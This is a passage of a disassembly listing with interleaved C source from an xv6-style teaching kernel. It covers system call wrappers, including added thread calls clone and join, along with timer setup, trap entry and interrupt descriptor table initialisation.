80106695: c7 44 90 08 00 00 00 movl $0x0,0x8(%eax,%edx,4)
8010669c: 00
fileclose(rf);
8010669d: 8b 45 e8 mov -0x18(%ebp),%eax
801066a0: 89 04 24 mov %eax,(%esp)
801066a3: e8 28 a9 ff ff call 80100fd0 <fileclose>
fileclose(wf);
801066a8: 8b 45 e4 mov -0x1c(%ebp),%eax
801066ab: 89 04 24 mov %eax,(%esp)
801066ae: e8 1d a9 ff ff call 80100fd0 <fileclose>
return -1;
801066b3: b8 ff ff ff ff mov $0xffffffff,%eax
801066b8: eb 18 jmp 801066d2 <sys_pipe+0xca>
}
fd[0] = fd0;
801066ba: 8b 45 ec mov -0x14(%ebp),%eax
801066bd: 8b 55 f4 mov -0xc(%ebp),%edx
801066c0: 89 10 mov %edx,(%eax)
fd[1] = fd1;
801066c2: 8b 45 ec mov -0x14(%ebp),%eax
801066c5: 8d 50 04 lea 0x4(%eax),%edx
801066c8: 8b 45 f0 mov -0x10(%ebp),%eax
801066cb: 89 02 mov %eax,(%edx)
return 0;
801066cd: b8 00 00 00 00 mov $0x0,%eax
}
801066d2: c9 leave
801066d3: c3 ret
801066d4 <sys_fork>:
#include "memlayout.h"
#include "mmu.h"
#include "proc.h"
int
sys_fork(void)
{
801066d4: 55 push %ebp
801066d5: 89 e5 mov %esp,%ebp
801066d7: 83 ec 08 sub $0x8,%esp
return fork();
801066da: e8 33 e3 ff ff call 80104a12 <fork>
}
801066df: c9 leave
801066e0: c3 ret
801066e1 <sys_exit>:
int
sys_exit(void)
{
801066e1: 55 push %ebp
801066e2: 89 e5 mov %esp,%ebp
801066e4: 83 ec 08 sub $0x8,%esp
exit();
801066e7: e8 ab e4 ff ff call 80104b97 <exit>
return 0; // not reached
801066ec: b8 00 00 00 00 mov $0x0,%eax
}
801066f1: c9 leave
801066f2: c3 ret
801066f3 <sys_wait>:
int
sys_wait(void)
{
801066f3: 55 push %ebp
801066f4: 89 e5 mov %esp,%ebp
801066f6: 83 ec 08 sub $0x8,%esp
return wait();
801066f9: e8 be e5 ff ff call 80104cbc <wait>
}
801066fe: c9 leave
801066ff: c3 ret
80106700 <sys_clone>:
int sys_clone(void){
80106700: 55 push %ebp
80106701: 89 e5 mov %esp,%ebp
80106703: 83 ec 28 sub $0x28,%esp
void *stack, *arg;
void(*func)(void*);
if(argptr(0, (void*)&func, sizeof(func))<0 || argptr(1, (void*)&arg, sizeof(arg))<0 || argptr(2, (void*)&stack, sizeof(stack)) < 0)
80106706: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
8010670d: 00
8010670e: 8d 45 ec lea -0x14(%ebp),%eax
80106711: 89 44 24 04 mov %eax,0x4(%esp)
80106715: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8010671c: e8 0d f1 ff ff call 8010582e <argptr>
80106721: 85 c0 test %eax,%eax
80106723: 78 3e js 80106763 <sys_clone+0x63>
80106725: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
8010672c: 00
8010672d: 8d 45 f0 lea -0x10(%ebp),%eax
80106730: 89 44 24 04 mov %eax,0x4(%esp)
80106734: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8010673b: e8 ee f0 ff ff call 8010582e <argptr>
80106740: 85 c0 test %eax,%eax
80106742: 78 1f js 80106763 <sys_clone+0x63>
80106744: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
8010674b: 00
8010674c: 8d 45 f4 lea -0xc(%ebp),%eax
8010674f: 89 44 24 04 mov %eax,0x4(%esp)
80106753: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8010675a: e8 cf f0 ff ff call 8010582e <argptr>
8010675f: 85 c0 test %eax,%eax
80106761: 79 07 jns 8010676a <sys_clone+0x6a>
return -1;
80106763: b8 ff ff ff ff mov $0xffffffff,%eax
80106768: eb 19 jmp 80106783 <sys_clone+0x83>
return clone(func, arg, stack);
8010676a: 8b 4d f4 mov -0xc(%ebp),%ecx
8010676d: 8b 55 f0 mov -0x10(%ebp),%edx
80106770: 8b 45 ec mov -0x14(%ebp),%eax
80106773: 89 4c 24 08 mov %ecx,0x8(%esp)
80106777: 89 54 24 04 mov %edx,0x4(%esp)
8010677b: 89 04 24 mov %eax,(%esp)
8010677e: e8 d3 de ff ff call 80104656 <clone>
}
80106783: c9 leave
80106784: c3 ret
80106785 <sys_join>:
int sys_join(void){
80106785: 55 push %ebp
80106786: 89 e5 mov %esp,%ebp
80106788: 83 ec 28 sub $0x28,%esp
void **childStack;
int threadId;
if(argint(0, &threadId)<0 || argptr(1, (void*)&childStack, sizeof(childStack)) < 0)
8010678b: 8d 45 f0 lea -0x10(%ebp),%eax
8010678e: 89 44 24 04 mov %eax,0x4(%esp)
80106792: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80106799: e8 62 f0 ff ff call 80105800 <argint>
8010679e: 85 c0 test %eax,%eax
801067a0: 78 1f js 801067c1 <sys_join+0x3c>
801067a2: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
801067a9: 00
801067aa: 8d 45 f4 lea -0xc(%ebp),%eax
801067ad: 89 44 24 04 mov %eax,0x4(%esp)
801067b1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801067b8: e8 71 f0 ff ff call 8010582e <argptr>
801067bd: 85 c0 test %eax,%eax
801067bf: 79 07 jns 801067c8 <sys_join+0x43>
return -1;
801067c1: b8 ff ff ff ff mov $0xffffffff,%eax
801067c6: eb 17 jmp 801067df <sys_join+0x5a>
join(threadId, childStack);
801067c8: 8b 55 f4 mov -0xc(%ebp),%edx
801067cb: 8b 45 f0 mov -0x10(%ebp),%eax
801067ce: 89 54 24 04 mov %edx,0x4(%esp)
801067d2: 89 04 24 mov %eax,(%esp)
801067d5: e8 35 e0 ff ff call 8010480f <join>
return 0;
801067da: b8 00 00 00 00 mov $0x0,%eax
}
801067df: c9 leave
801067e0: c3 ret
801067e1 <sys_threadSleep>:
int sys_threadSleep(void){
801067e1: 55 push %ebp
801067e2: 89 e5 mov %esp,%ebp
801067e4: 83 ec 28 sub $0x28,%esp
mpthread_mutex_t *mutex;
if(argptr(0, (void*)&mutex, sizeof(mpthread_mutex_t)) <0 )
801067e7: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
801067ee: 00
801067ef: 8d 45 f4 lea -0xc(%ebp),%eax
801067f2: 89 44 24 04 mov %eax,0x4(%esp)
801067f6: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801067fd: e8 2c f0 ff ff call 8010582e <argptr>
80106802: 85 c0 test %eax,%eax
80106804: 79 07 jns 8010680d <sys_threadSleep+0x2c>
return -1;
80106806: b8 ff ff ff ff mov $0xffffffff,%eax
8010680b: eb 10 jmp 8010681d <sys_threadSleep+0x3c>
threadSleep(mutex);
8010680d: 8b 45 f4 mov -0xc(%ebp),%eax
80106810: 89 04 24 mov %eax,(%esp)
80106813: e8 2d e1 ff ff call 80104945 <threadSleep>
return 0;
80106818: b8 00 00 00 00 mov $0x0,%eax
}
8010681d: c9 leave
8010681e: c3 ret
8010681f <sys_threadWake>:
int sys_threadWake(void){
8010681f: 55 push %ebp
80106820: 89 e5 mov %esp,%ebp
80106822: 83 ec 28 sub $0x28,%esp
int threadId;
if(argint(0, &threadId) < 0)
80106825: 8d 45 f4 lea -0xc(%ebp),%eax
80106828: 89 44 24 04 mov %eax,0x4(%esp)
8010682c: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80106833: e8 c8 ef ff ff call 80105800 <argint>
80106838: 85 c0 test %eax,%eax
8010683a: 79 07 jns 80106843 <sys_threadWake+0x24>
return -1;
8010683c: b8 ff ff ff ff mov $0xffffffff,%eax
80106841: eb 10 jmp 80106853 <sys_threadWake+0x34>
threadWake(threadId);
80106843: 8b 45 f4 mov -0xc(%ebp),%eax
80106846: 89 04 24 mov %eax,(%esp)
80106849: e8 64 e1 ff ff call 801049b2 <threadWake>
return 0;
8010684e: b8 00 00 00 00 mov $0x0,%eax
}
80106853: c9 leave
80106854: c3 ret
80106855 <sys_kill>:
int
sys_kill(void)
{
80106855: 55 push %ebp
80106856: 89 e5 mov %esp,%ebp
80106858: 83 ec 28 sub $0x28,%esp
int pid;
if(argint(0, &pid) < 0)
8010685b: 8d 45 f4 lea -0xc(%ebp),%eax
8010685e: 89 44 24 04 mov %eax,0x4(%esp)
80106862: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80106869: e8 92 ef ff ff call 80105800 <argint>
8010686e: 85 c0 test %eax,%eax
80106870: 79 07 jns 80106879 <sys_kill+0x24>
return -1;
80106872: b8 ff ff ff ff mov $0xffffffff,%eax
80106877: eb 0b jmp 80106884 <sys_kill+0x2f>
return kill(pid);
80106879: 8b 45 f4 mov -0xc(%ebp),%eax
8010687c: 89 04 24 mov %eax,(%esp)
8010687f: e8 11 e8 ff ff call 80105095 <kill>
}
80106884: c9 leave
80106885: c3 ret
80106886 <sys_getpid>:
int
sys_getpid(void)
{
80106886: 55 push %ebp
80106887: 89 e5 mov %esp,%ebp
return proc->pid;
80106889: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010688f: 8b 40 10 mov 0x10(%eax),%eax
}
80106892: 5d pop %ebp
80106893: c3 ret
80106894 <sys_sbrk>:
int
sys_sbrk(void)
{
80106894: 55 push %ebp
80106895: 89 e5 mov %esp,%ebp
80106897: 83 ec 28 sub $0x28,%esp
int addr;
int n;
if(argint(0, &n) < 0)
8010689a: 8d 45 f0 lea -0x10(%ebp),%eax
8010689d: 89 44 24 04 mov %eax,0x4(%esp)
801068a1: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801068a8: e8 53 ef ff ff call 80105800 <argint>
801068ad: 85 c0 test %eax,%eax
801068af: 79 07 jns 801068b8 <sys_sbrk+0x24>
return -1;
801068b1: b8 ff ff ff ff mov $0xffffffff,%eax
801068b6: eb 24 jmp 801068dc <sys_sbrk+0x48>
addr = proc->sz;
801068b8: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801068be: 8b 00 mov (%eax),%eax
801068c0: 89 45 f4 mov %eax,-0xc(%ebp)
if(growproc(n) < 0)
801068c3: 8b 45 f0 mov -0x10(%ebp),%eax
801068c6: 89 04 24 mov %eax,(%esp)
801068c9: e8 8c dc ff ff call 8010455a <growproc>
801068ce: 85 c0 test %eax,%eax
801068d0: 79 07 jns 801068d9 <sys_sbrk+0x45>
return -1;
801068d2: b8 ff ff ff ff mov $0xffffffff,%eax
801068d7: eb 03 jmp 801068dc <sys_sbrk+0x48>
return addr;
801068d9: 8b 45 f4 mov -0xc(%ebp),%eax
}
801068dc: c9 leave
801068dd: c3 ret
801068de <sys_sleep>:
int
sys_sleep(void)
{
801068de: 55 push %ebp
801068df: 89 e5 mov %esp,%ebp
801068e1: 83 ec 28 sub $0x28,%esp
int n;
uint ticks0;
if(argint(0, &n) < 0)
801068e4: 8d 45 f0 lea -0x10(%ebp),%eax
801068e7: 89 44 24 04 mov %eax,0x4(%esp)
801068eb: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801068f2: e8 09 ef ff ff call 80105800 <argint>
801068f7: 85 c0 test %eax,%eax
801068f9: 79 07 jns 80106902 <sys_sleep+0x24>
return -1;
801068fb: b8 ff ff ff ff mov $0xffffffff,%eax
80106900: eb 6c jmp 8010696e <sys_sleep+0x90>
acquire(&tickslock);
80106902: c7 04 24 c0 5a 11 80 movl $0x80115ac0,(%esp)
80106909: e8 55 e9 ff ff call 80105263 <acquire>
ticks0 = ticks;
8010690e: a1 00 63 11 80 mov 0x80116300,%eax
80106913: 89 45 f4 mov %eax,-0xc(%ebp)
while(ticks - ticks0 < n){
80106916: eb 34 jmp 8010694c <sys_sleep+0x6e>
if(proc->killed){
80106918: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010691e: 8b 40 24 mov 0x24(%eax),%eax
80106921: 85 c0 test %eax,%eax
80106923: 74 13 je 80106938 <sys_sleep+0x5a>
release(&tickslock);
80106925: c7 04 24 c0 5a 11 80 movl $0x80115ac0,(%esp)
8010692c: e8 94 e9 ff ff call 801052c5 <release>
return -1;
80106931: b8 ff ff ff ff mov $0xffffffff,%eax
80106936: eb 36 jmp 8010696e <sys_sleep+0x90>
}
sleep(&ticks, &tickslock);
80106938: c7 44 24 04 c0 5a 11 movl $0x80115ac0,0x4(%esp)
8010693f: 80
80106940: c7 04 24 00 63 11 80 movl $0x80116300,(%esp)
80106947: e8 42 e6 ff ff call 80104f8e <sleep>
if(argint(0, &n) < 0)
return -1;
acquire(&tickslock);
ticks0 = ticks;
while(ticks - ticks0 < n){
8010694c: a1 00 63 11 80 mov 0x80116300,%eax
80106951: 2b 45 f4 sub -0xc(%ebp),%eax
80106954: 89 c2 mov %eax,%edx
80106956: 8b 45 f0 mov -0x10(%ebp),%eax
80106959: 39 c2 cmp %eax,%edx
8010695b: 72 bb jb 80106918 <sys_sleep+0x3a>
release(&tickslock);
return -1;
}
sleep(&ticks, &tickslock);
}
release(&tickslock);
8010695d: c7 04 24 c0 5a 11 80 movl $0x80115ac0,(%esp)
80106964: e8 5c e9 ff ff call 801052c5 <release>
return 0;
80106969: b8 00 00 00 00 mov $0x0,%eax
}
8010696e: c9 leave
8010696f: c3 ret
80106970 <sys_uptime>:
// return how many clock tick interrupts have occurred
// since start.
int
sys_uptime(void)
{
80106970: 55 push %ebp
80106971: 89 e5 mov %esp,%ebp
80106973: 83 ec 28 sub $0x28,%esp
uint xticks;
acquire(&tickslock);
80106976: c7 04 24 c0 5a 11 80 movl $0x80115ac0,(%esp)
8010697d: e8 e1 e8 ff ff call 80105263 <acquire>
xticks = ticks;
80106982: a1 00 63 11 80 mov 0x80116300,%eax
80106987: 89 45 f4 mov %eax,-0xc(%ebp)
release(&tickslock);
8010698a: c7 04 24 c0 5a 11 80 movl $0x80115ac0,(%esp)
80106991: e8 2f e9 ff ff call 801052c5 <release>
return xticks;
80106996: 8b 45 f4 mov -0xc(%ebp),%eax
}
80106999: c9 leave
8010699a: c3 ret
8010699b: 90 nop
8010699c <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
8010699c: 55 push %ebp
8010699d: 89 e5 mov %esp,%ebp
8010699f: 83 ec 08 sub $0x8,%esp
801069a2: 8b 55 08 mov 0x8(%ebp),%edx
801069a5: 8b 45 0c mov 0xc(%ebp),%eax
801069a8: 66 89 55 fc mov %dx,-0x4(%ebp)
801069ac: 88 45 f8 mov %al,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801069af: 0f b6 45 f8 movzbl -0x8(%ebp),%eax
801069b3: 0f b7 55 fc movzwl -0x4(%ebp),%edx
801069b7: ee out %al,(%dx)
}
801069b8: c9 leave
801069b9: c3 ret
801069ba <timerinit>:
#define TIMER_RATEGEN 0x04 // mode 2, rate generator
#define TIMER_16BIT 0x30 // r/w counter 16 bits, LSB first
void
timerinit(void)
{
801069ba: 55 push %ebp
801069bb: 89 e5 mov %esp,%ebp
801069bd: 83 ec 18 sub $0x18,%esp
// Interrupt 100 times/sec.
outb(TIMER_MODE, TIMER_SEL0 | TIMER_RATEGEN | TIMER_16BIT);
801069c0: c7 44 24 04 34 00 00 movl $0x34,0x4(%esp)
801069c7: 00
801069c8: c7 04 24 43 00 00 00 movl $0x43,(%esp)
801069cf: e8 c8 ff ff ff call 8010699c <outb>
outb(IO_TIMER1, TIMER_DIV(100) % 256);
801069d4: c7 44 24 04 9c 00 00 movl $0x9c,0x4(%esp)
801069db: 00
801069dc: c7 04 24 40 00 00 00 movl $0x40,(%esp)
801069e3: e8 b4 ff ff ff call 8010699c <outb>
outb(IO_TIMER1, TIMER_DIV(100) / 256);
801069e8: c7 44 24 04 2e 00 00 movl $0x2e,0x4(%esp)
801069ef: 00
801069f0: c7 04 24 40 00 00 00 movl $0x40,(%esp)
801069f7: e8 a0 ff ff ff call 8010699c <outb>
picenable(IRQ_TIMER);
801069fc: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80106a03: e8 bd d3 ff ff call 80103dc5 <picenable>
}
80106a08: c9 leave
80106a09: c3 ret
80106a0a: 66 90 xchg %ax,%ax
80106a0c <alltraps>:
# vectors.S sends all traps here.
.globl alltraps
alltraps:
# Build trap frame.
pushl %ds
80106a0c: 1e push %ds
pushl %es
80106a0d: 06 push %es
pushl %fs
80106a0e: 0f a0 push %fs
pushl %gs
80106a10: 0f a8 push %gs
pushal
80106a12: 60 pusha
# Set up data and per-cpu segments.
movw $(SEG_KDATA<<3), %ax
80106a13: 66 b8 10 00 mov $0x10,%ax
movw %ax, %ds
80106a17: 8e d8 mov %eax,%ds
movw %ax, %es
80106a19: 8e c0 mov %eax,%es
movw $(SEG_KCPU<<3), %ax
80106a1b: 66 b8 18 00 mov $0x18,%ax
movw %ax, %fs
80106a1f: 8e e0 mov %eax,%fs
movw %ax, %gs
80106a21: 8e e8 mov %eax,%gs
# Call trap(tf), where tf=%esp
pushl %esp
80106a23: 54 push %esp
call trap
80106a24: e8 d9 01 00 00 call 80106c02 <trap>
addl $4, %esp
80106a29: 83 c4 04 add $0x4,%esp
80106a2c <trapret>:
# Return falls through to trapret...
.globl trapret
trapret:
popal
80106a2c: 61 popa
popl %gs
80106a2d: 0f a9 pop %gs
popl %fs
80106a2f: 0f a1 pop %fs
popl %es
80106a31: 07 pop %es
popl %ds
80106a32: 1f pop %ds
addl $0x8, %esp # trapno and errcode
80106a33: 83 c4 08 add $0x8,%esp
iret
80106a36: cf iret
80106a37: 90 nop
80106a38 <lidt>:
struct gatedesc;
static inline void
lidt(struct gatedesc *p, int size)
{
80106a38: 55 push %ebp
80106a39: 89 e5 mov %esp,%ebp
80106a3b: 83 ec 10 sub $0x10,%esp
volatile ushort pd[3];
pd[0] = size-1;
80106a3e: 8b 45 0c mov 0xc(%ebp),%eax
80106a41: 83 e8 01 sub $0x1,%eax
80106a44: 66 89 45 fa mov %ax,-0x6(%ebp)
pd[1] = (uint)p;
80106a48: 8b 45 08 mov 0x8(%ebp),%eax
80106a4b: 66 89 45 fc mov %ax,-0x4(%ebp)
pd[2] = (uint)p >> 16;
80106a4f: 8b 45 08 mov 0x8(%ebp),%eax
80106a52: c1 e8 10 shr $0x10,%eax
80106a55: 66 89 45 fe mov %ax,-0x2(%ebp)
asm volatile("lidt (%0)" : : "r" (pd));
80106a59: 8d 45 fa lea -0x6(%ebp),%eax
80106a5c: 0f 01 18 lidtl (%eax)
}
80106a5f: c9 leave
80106a60: c3 ret
80106a61 <rcr2>:
return result;
}
static inline uint
rcr2(void)
{
80106a61: 55 push %ebp
80106a62: 89 e5 mov %esp,%ebp
80106a64: 83 ec 10 sub $0x10,%esp
uint val;
asm volatile("movl %%cr2,%0" : "=r" (val));
80106a67: 0f 20 d0 mov %cr2,%eax
80106a6a: 89 45 fc mov %eax,-0x4(%ebp)
return val;
80106a6d: 8b 45 fc mov -0x4(%ebp),%eax
}
80106a70: c9 leave
80106a71: c3 ret
80106a72 <tvinit>:
struct spinlock tickslock;
uint ticks;
void
tvinit(void)
{
80106a72: 55 push %ebp
80106a73: 89 e5 mov %esp,%ebp
80106a75: 83 ec 28 sub $0x28,%esp
int i;
for(i = 0; i < 256; i++)
80106a78: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80106a7f: e9 c3 00 00 00 jmp 80106b47 <tvinit+0xd5>
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
80106a84: 8b 45 f4 mov -0xc(%ebp),%eax
80106a87: 8b 04 85 ac c0 10 80 mov -0x7fef3f54(,%eax,4),%eax
80106a8e: 89 c2 mov %eax,%edx
80106a90: 8b 45 f4 mov -0xc(%ebp),%eax
80106a93: 66 89 14 c5 00 5b 11 mov %dx,-0x7feea500(,%eax,8)
80106a9a: 80
80106a9b: 8b 45 f4 mov -0xc(%ebp),%eax
80106a9e: 66 c7 04 c5 02 5b 11 movw $0x8,-0x7feea4fe(,%eax,8)
80106aa5: 80 08 00
80106aa8: 8b 45 f4 mov -0xc(%ebp),%eax
80106aab: 0f b6 14 c5 04 5b 11 movzbl -0x7feea4fc(,%eax,8),%edx
80106ab2: 80
80106ab3: 83 e2 e0 and $0xffffffe0,%edx
80106ab6: 88 14 c5 04 5b 11 80 mov %dl,-0x7feea4fc(,%eax,8)
80106abd: 8b 45 f4 mov -0xc(%ebp),%eax
80106ac0: 0f b6 14 c5 04 5b 11 movzbl -0x7feea4fc(,%eax,8),%edx
80106ac7: 80
80106ac8: 83 e2 1f and $0x1f,%edx
80106acb: 88 14 c5 04 5b 11 80 mov %dl,-0x7feea4fc(,%eax,8)
80106ad2: 8b 45 f4 mov -0xc(%ebp),%eax
80106ad5: 0f b6 14 c5 05 5b 11 movzbl -0x7feea4fb(,%eax,8),%edx
80106adc: 80
80106add: 83 e2 f0 and $0xfffffff0,%edx
80106ae0: 83 ca 0e or $0xe,%edx
80106ae3: 88 14 c5 05 5b 11 80 mov %dl,-0x7feea4fb(,%eax,8)
80106aea: 8b 45 f4 mov -0xc(%ebp),%eax
80106aed: 0f b6 14 c5 05 5b 11 movzbl -0x7feea4fb(,%eax,8),%edx
80106af4: 80
80106af5: 83 e2 ef and $0xffffffef,%edx
80106af8: 88 14 c5 05 5b 11 80 mov %dl,-0x7feea4fb(,%eax,8)
80106aff: 8b 45 f4 mov -0xc(%ebp),%eax
80106b02: 0f b6 14 c5 05 5b 11 movzbl -0x7feea4fb(,%eax,8),%edx
80106b09: 80
80106b0a: 83 e2 9f and $0xffffff9f,%edx
80106b0d: 88 14 c5 05 5b 11 80 mov %dl,-0x7feea4fb(,%eax,8)
80106b14: 8b 45 f4 mov -0xc(%ebp),%eax
80106b17: 0f b6 14 c5 05 5b 11 movzbl -0x7feea4fb(,%eax,8),%edx
80106b1e: 80
80106b1f: 83 ca 80 or $0xffffff80,%edx
80106b22: 88 14 c5 05 5b 11 80 mov %dl,-0x7feea4fb(,%eax,8)
80106b29: 8b 45 f4 mov -0xc(%ebp),%eax
80106b2c: 8b 04 85 ac c0 10 80 mov -0x7fef3f54(,%eax,4),%eax
80106b33: c1 e8 10 shr $0x10,%eax
80106b36: 89 c2 mov %eax,%edx
80106b38: 8b 45 f4 mov -0xc(%ebp),%eax
80106b3b: 66 89 14 c5 06 5b 11 mov %dx,-0x7feea4fa(,%eax,8)
80106b42: 80
void
tvinit(void)
{
int i;
for(i = 0; i < 256; i++)
80106b43: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80106b47: 81 7d f4 ff 00 00 00 cmpl $0xff,-0xc(%ebp)
80106b4e: 0f 8e 30 ff ff ff jle 80106a84 <tvinit+0x12>
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
80106b54: a1 ac c1 10 80 mov 0x8010c1ac,%eax
80106b59: 66 a3 00 5d 11 80 mov %ax,0x80115d00
80106b5f: 66 c7 05 02 5d 11 80 movw $0x8,0x80115d02
80106b66: 08 00
80106b68: 0f b6 05 04 5d 11 80 movzbl 0x80115d04,%eax
80106b6f: 83 e0 e0 and $0xffffffe0,%eax
80106b72: a2 04 5d 11 80 mov %al,0x80115d04
80106b77: 0f b6 05 04 5d 11 80 movzbl 0x80115d04,%eax
80106b7e: 83 e0 1f and $0x1f,%eax
80106b81: a2 04 5d 11 80 mov %al,0x80115d04
80106b86: 0f b6 05 05 5d 11 80 movzbl 0x80115d05,%eax
80106b8d: 83 c8 0f or $0xf,%eax
80106b90: a2 05 5d 11 80 mov %al,0x80115d05
80106b95: 0f b6 05 05 5d 11 80 movzbl 0x80115d05,%eax
80106b9c: 83 e0 ef and $0xffffffef,%eax
80106b9f: a2 05 5d 11 80 mov %al,0x80115d05
80106ba4: 0f b6 05 05 5d 11 80 movzbl 0x80115d05,%eax
80106bab: 83 c8 60 or $0x60,%eax
80106bae: a2 05 5d 11 80 mov %al,0x80115d05
80106bb3: 0f b6 05 05 5d 11 80 movzbl 0x80115d05,%eax
80106bba: 83 c8 80 or $0xffffff80,%eax
80106bbd: a2 05 5d 11 80 mov %al,0x80115d05
80106bc2: a1 ac c1 10 80 mov 0x8010c1ac,%eax
80106bc7: c1 e8 10 shr $0x10,%eax
80106bca: 66 a3 06 5d 11 80 mov %ax,0x80115d06
initlock(&tickslock, "time");
80106bd0: c7 44 24 04 f4 8d 10 movl $0x80108df4,0x4(%esp)
80106bd7: 80
80106bd8: c7 04 24 c0 5a 11 80 movl $0x80115ac0,(%esp)
80106bdf: e8 5e e6 ff ff call 80105242 <initlock>
}
80106be4: c9 leave
80106be5: c3 ret
80106be6 <idtinit>:
void
idtinit(void)
{
80106be6: 55 push %ebp
80106be7: 89 e5 mov %esp,%ebp
80106be9: 83 ec 08 sub $0x8,%esp
lidt(idt, sizeof(idt));
80106bec: c7 44 24 04 00 08 00 movl $0x800,0x4(%esp)
80106bf3: 00
80106bf4: c7 04 24 00 5b 11 80 movl $0x80115b00,(%esp)
80106bfb: e8 38 fe ff ff call 80106a38 <lidt>
}
80106c00: c9 leave
80106c01: c3 ret
80106c02 <trap>:
//PAGEBREAK: 41
void
trap(struct trapframe *tf)
{
80106c02: 55 push %ebp
80106c03: 89 e5 mov %esp,%ebp
80106c05: 57 push %edi
80106c06: 56 push %esi
80106c07: 53 push %ebx
80106c08: 83 ec 3c sub $0x3c,%esp
if(tf->trapno == T_SYSCALL){
80106c0b: 8b 45 08 mov 0x8(%ebp),%eax
80106c0e: 8b 40 30 mov 0x30(%eax),%eax
80106c11: 83 f8 40 cmp $0x40,%eax
80106c14: 75 3f jne 80106c55 <trap+0x53>
if(proc->killed)
80106c16: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106c1c: 8b 40 24 mov 0x24(%eax),%eax
80106c1f: 85 c0 test %eax,%eax
80106c21: 74 05 je 80106c28 <trap+0x26>
exit();
80106c23: e8 6f df ff ff call 80104b97 <exit>
proc->tf = tf;
80106c28: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106c2e: 8b 55 08 mov 0x8(%ebp),%edx
80106c31: 89 50 18 mov %edx,0x18(%eax)
syscall();
80106c34: e8 8e ec ff ff call 801058c7 <syscall>
if(proc->killed)
80106c39: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106c3f: 8b 40 24 mov 0x24(%eax),%eax
80106c42: 85 c0 test %eax,%eax
80106c44: 74 0a je 80106c50 <trap+0x4e>
exit();
80106c46: e8 4c df ff ff call 80104b97 <exit>
return;
80106c4b: e9 2d 02 00 00 jmp 80106e7d <trap+0x27b>
80106c50: e9 28 02 00 00 jmp 80106e7d <trap+0x27b>
}
switch(tf->trapno){
80106c55: 8b 45 08 mov 0x8(%ebp),%eax
80106c58: 8b 40 30 mov 0x30(%eax),%eax
80106c5b: 83 e8 20 sub $0x20,%eax
80106c5e: 83 f8 1f cmp $0x1f,%eax
80106c61: 0f 87 bc 00 00 00 ja 80106d23 <trap+0x121>
80106c67: 8b 04 85 9c 8e 10 80 mov -0x7fef7164(,%eax,4),%eax
80106c6e: ff e0 jmp *%eax
case T_IRQ0 + IRQ_TIMER:
if(cpu->id == 0){
80106c70: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80106c76: 0f b6 00 movzbl (%eax),%eax
80106c79: 84 c0 test %al,%al
80106c7b: 75 31 jne 80106cae <trap+0xac>
acquire(&tickslock);
80106c7d: c7 04 24 c0 5a 11 80 movl $0x80115ac0,(%esp)
80106c84: e8 da e5 ff ff call 80105263 <acquire>
ticks++;
80106c89: a1 00 63 11 80 mov 0x80116300,%eax
80106c8e: 83 c0 01 add $0x1,%eax
80106c91: a3 00 63 11 80 mov %eax,0x80116300
wakeup(&ticks);
80106c96: c7 04 24 00 63 11 80 movl $0x80116300,(%esp)
80106c9d: e8 c8 e3 ff ff call 8010506a <wakeup>
release(&tickslock);
80106ca2: c7 04 24 c0 5a 11 80 movl $0x80115ac0,(%esp)
80106ca9: e8 17 e6 ff ff call 801052c5 <release>
}
lapiceoi();
80106cae: e8 26 c2 ff ff call 80102ed9 <lapiceoi>
break;
80106cb3: e9 41 01 00 00 jmp 80106df9 <trap+0x1f7>
case T_IRQ0 + IRQ_IDE:
ideintr();
80106cb8: e8 27 ba ff ff call 801026e4 <ideintr>
lapiceoi();
80106cbd: e8 17 c2 ff ff call 80102ed9 <lapiceoi>
break;
80106cc2: e9 32 01 00 00 jmp 80106df9 <trap+0x1f7>
case T_IRQ0 + IRQ_IDE+1:
// Bochs generates spurious IDE1 interrupts.
break;
case T_IRQ0 + IRQ_KBD:
kbdintr();
80106cc7: e8 dc bf ff ff call 80102ca8 <kbdintr>
lapiceoi();
80106ccc: e8 08 c2 ff ff call 80102ed9 <lapiceoi>
break;
80106cd1: e9 23 01 00 00 jmp 80106df9 <trap+0x1f7>
case T_IRQ0 + IRQ_COM1:
uartintr();
80106cd6: e8 9a 03 00 00 call 80107075 <uartintr>
lapiceoi();
80106cdb: e8 f9 c1 ff ff call 80102ed9 <lapiceoi>
break;
80106ce0: e9 14 01 00 00 jmp 80106df9 <trap+0x1f7>
case T_IRQ0 + 7:
case T_IRQ0 + IRQ_SPURIOUS:
cprintf("cpu%d: spurious interrupt at %x:%x\n",
80106ce5: 8b 45 08 mov 0x8(%ebp),%eax
80106ce8: 8b 48 38 mov 0x38(%eax),%ecx
cpu->id, tf->cs, tf->eip);
80106ceb: 8b 45 08 mov 0x8(%ebp),%eax
80106cee: 0f b7 40 3c movzwl 0x3c(%eax),%eax
uartintr();
lapiceoi();
break;
case T_IRQ0 + 7:
case T_IRQ0 + IRQ_SPURIOUS:
cprintf("cpu%d: spurious interrupt at %x:%x\n",
80106cf2: 0f b7 d0 movzwl %ax,%edx
cpu->id, tf->cs, tf->eip);
